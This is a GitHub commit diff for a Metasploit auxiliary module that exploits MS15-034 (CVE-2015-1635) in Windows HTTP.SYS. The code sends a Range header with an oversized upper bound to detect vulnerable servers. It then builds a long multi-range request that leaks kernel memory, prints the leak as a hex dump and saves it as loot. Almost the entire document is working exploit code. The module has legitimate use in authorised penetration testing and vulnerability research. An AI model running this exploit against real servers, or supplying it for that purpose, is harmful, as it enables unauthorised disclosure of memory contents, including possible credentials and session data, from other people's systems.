Skip to content

Commit e9b548e

Browse files
committed
Changes for ms15034_http_sys_memory_dump.rb
1 parent 8086a6f commit e9b548e

File tree

1 file changed

+132
-98
lines changed

1 file changed

+132
-98
lines changed

modules/auxiliary/scanner/http/ms15034_http_sys_memory_dump.rb

Lines changed: 132 additions & 98 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,9 @@ class Metasploit3 < Msf::Auxiliary
1111
include Msf::Exploit::Remote::HttpClient
1212
include Msf::Auxiliary::Scanner
1313

14-
def initialize
15-
super(
16-
'Name' => 'MS15-034 HTTP.SYS Memory Dump',
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',
1717
'Description' => %q{
1818
Dumps memory contents using a crafted Range header. Affects only
1919
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
@@ -22,35 +22,91 @@ def initialize
2222
seem stable. Using a larger target file should result in more memory
2323
being dumped, and SSL seems to produce more data as well.
2424
},
25-
'Author' => 'Rich Whitcroft <rwhitcroft[at]gmail.com>',
25+
'Author' =>
26+
[
27+
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module
28+
'sinn3r' # Some more Metasploit stuff
29+
],
2630
'License' => MSF_LICENSE,
27-
'References' => [ ['URL', 'http://securitysift.com/an-analysis-of-ms15-034/'] ]
28-
)
31+
'References' =>
32+
[
33+
['CVE', '2015-1635'],
34+
['MSB', 'MS15-034'],
35+
['URL', 'http://pastebin.com/ypURDPc4'],
36+
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
37+
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
38+
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],
39+
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']
40+
]
41+
))
2942

3043
register_options([
31-
OptString.new('TARGET_URI', [ true, 'The path to the resource (must exist!)', '/iisstart.htm' ]),
32-
OptInt.new('RPORT', [ true, 'The target port', 443 ]),
33-
OptBool.new('SSL', [ true, 'Use SSL?', true ]),
44+
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),
3445
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])
3546
], self.class)
3647

3748
deregister_options('VHOST')
3849
end
3950

40-
def check
41-
res = send_request_raw({
42-
'uri' => datastore['TARGET_URI'],
43-
'method' => 'GET',
44-
'headers' => {
45-
'Range' => 'bytes=0-18446744073709551615'
46-
}
47-
})
48-
unless res
49-
vprint_error("Error in send_request_raw")
50-
return false
51+
def target_uri
52+
@target_uri ||= super
53+
end
54+
55+
def potential_static_files_uris
56+
uri = normalize_uri(target_uri.path)
57+
58+
return [uri] unless uri[-1, 1] == '/'
59+
60+
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]
61+
res = send_request_raw('uri' => uri)
62+
63+
return uris unless res
64+
65+
site_uri = URI.parse(full_uri)
66+
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
67+
68+
page.xpath('//link|//script|//style|//img').each do |tag|
69+
%w(href src).each do |attribute|
70+
attr_value = tag[attribute]
71+
next unless attr_value && !attr_value.empty?
72+
uri = site_uri.merge(URI.encode(attr_value.strip))
73+
next unless uri.host == vhost || uri.host == rhost
74+
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
75+
end
5176
end
5277

53-
return (res.body.include?("Requested Range Not Satisfiable") ? true : false)
78+
uris.uniq
79+
end
80+
81+
def check_host(ip)
82+
upper_range = 0xFFFFFFFFFFFFFFFF
83+
84+
potential_static_files_uris.each do |potential_uri|
85+
uri = normalize_uri(potential_uri)
86+
87+
res = send_request_raw(
88+
'uri' => uri,
89+
'method' => 'GET',
90+
'headers' => {
91+
'Range' => "bytes=0-#{upper_range}"
92+
}
93+
)
94+
95+
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
96+
97+
if res && res.body.include?('Requested Range Not Satisfiable')
98+
vprint_status("#{vmessage} - Vulnerable")
99+
100+
# Save the file that we want to use for the information leak
101+
target_uri.path = uri
102+
103+
return Exploit::CheckCode::Vulnerable
104+
elsif res && res.body.include?('The request has an invalid header name')
105+
return Exploit::CheckCode::Safe
106+
end
107+
end
108+
109+
Exploit::CheckCode::Unknown
54110
end
55111

56112
def dump(data)
@@ -64,108 +120,86 @@ def dump(data)
64120
end
65121
end
66122

67-
i = 1
68-
bytes_per_line = 16
69-
lines_suppressed = 0
70-
bytes = String.new
71-
chars = String.new
72-
123+
print_line
73124
print_good("Memory contents:")
125+
print_line(Rex::Text.to_hex_dump(data))
126+
end
74127

75-
data.each_byte do |b|
76-
bytes << "%02x" % b.ord
128+
# Needed to allow the vulnerable uri to be shared between the #check and #dos
129+
def target_uri
130+
@target_uri ||= super
131+
end
77132

78-
if b.ord.between?(32, 126)
79-
chars << b.chr
80-
else
81-
chars << "."
82-
end
133+
def get_file_size
134+
@file_size ||= lambda {
135+
file_size = -1
136+
uri = normalize_uri(target_uri.path)
137+
res = send_request_raw('uri' => uri)
83138

84-
if i > 1 and i % bytes_per_line == 0
85-
if bytes !~ /^[0f]{32}$/
86-
bytes.gsub!(/(.{4})/, '\1 ')
87-
print_status("#{bytes} #{chars}")
88-
else
89-
lines_suppressed += 1
90-
end
139+
unless res
140+
vprint_error("#{peer} - Connection timed out")
141+
return file_size
142+
end
91143

92-
bytes.clear
93-
chars.clear
144+
if res.code == 404
145+
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
146+
return file_size
94147
end
95148

96-
i += 1
149+
file_size = res.headers['Content-Length'].to_i
150+
vprint_status("#{peer} - File length: #{file_size} bytes")
151+
152+
return file_size
153+
}.call
154+
end
155+
156+
def calc_ranges(content_length)
157+
ranges = "bytes=3-18446744073709551615"
158+
159+
range_step = 100
160+
for range_start in (1..content_length).step(range_step) do
161+
range_end = range_start + range_step - 1
162+
range_end = content_length if range_end > content_length
163+
ranges << ",#{range_start}-#{range_end}"
97164
end
98165

99-
print_status("Suppressed #{lines_suppressed} uninteresting lines") unless lines_suppressed.zero?
166+
ranges
100167
end
101168

102169
def run_host(ip)
103170
begin
104-
unless check
171+
unless check_host(ip)
105172
print_error("Target is not vulnerable")
106173
return
107174
else
108175
print_good("Target may be vulnerable...")
109176
end
110177

111-
# determine the size of the resource
112-
res = send_request_raw({ 'uri' => datastore['TARGET_URI'], 'method' => 'GET' })
113-
unless res
114-
print_error("Error in send_request_raw")
115-
return
116-
end
117-
118-
if res.code == 200
119-
content_length = res.headers['Content-Length'].to_i
120-
print_good("Content length is #{content_length} bytes")
121-
else
122-
print_error("Error: HTTP code #{res.code}")
123-
return
124-
end
125-
126-
# build the Range header
127-
ranges = "bytes=3-18446744073709551615"
128-
range_step = 100
129-
for range_start in (1..content_length).step(range_step) do
130-
range_end = range_start + range_step - 1
131-
range_end = content_length if range_end > content_length
132-
ranges << ",#{range_start}-#{range_end}"
133-
end
134-
135-
sock_opts = {
136-
'SSL' => datastore['SSL'],
137-
'SSLVersion' => datastore['SSLVersion'],
138-
'LocalHost' => nil,
139-
'PeerHost' => ip,
140-
'PeerPort' => datastore['RPORT']
141-
}
142-
143-
sock = Rex::Socket::Tcp.create(sock_opts)
144-
145-
req = "GET #{datastore['TARGET_URI']} HTTP/1.1\r\nHost: #{ip}\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)\r\nAccept: */*\r\nConnection: keep-alive\r\nRange: #{ranges}\r\n\r\n"
146-
sock.put(req)
178+
content_length = get_file_size
179+
ranges = calc_ranges(content_length)
180+
181+
uri = normalize_uri(target_uri.path)
182+
cli = Rex::Proto::Http::Client.new(ip)
183+
cli.connect
184+
req = cli.request_raw(
185+
'uri' => target_uri.path,
186+
'method' => 'GET',
187+
'headers' => {
188+
'Range' => ranges
189+
}
190+
)
191+
cli.send_request(req)
147192

148193
print_good("Stand by...")
149194

150-
resp = String.new
151-
loop do
152-
sleep 2
195+
resp = cli.read_response
153196

154-
buf = sock.get_once(-1, 2)
155-
if buf
156-
resp << buf
157-
else
158-
break
159-
end
160-
end
161-
162-
if resp and not resp.empty?
163-
dump(resp)
197+
if resp
198+
dump(resp.to_s)
164199
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
165200
print_status("Memory dump saved to #{loot_path}")
166201
else
167-
print_error("Target does not appear to be vulnerable (must be 8.1, 2012, or 2012R2)")
168-
return
202+
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
169203
end
170204
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
171205
print_error("Unable to connect")
@@ -174,7 +208,7 @@ def run_host(ip)
174208
print_error("Timeout receiving from socket")
175209
return
176210
ensure
177-
sock.close if sock
211+
cli.close if cli
178212
end
179213
end
180214
end

0 commit comments

Comments
 (0)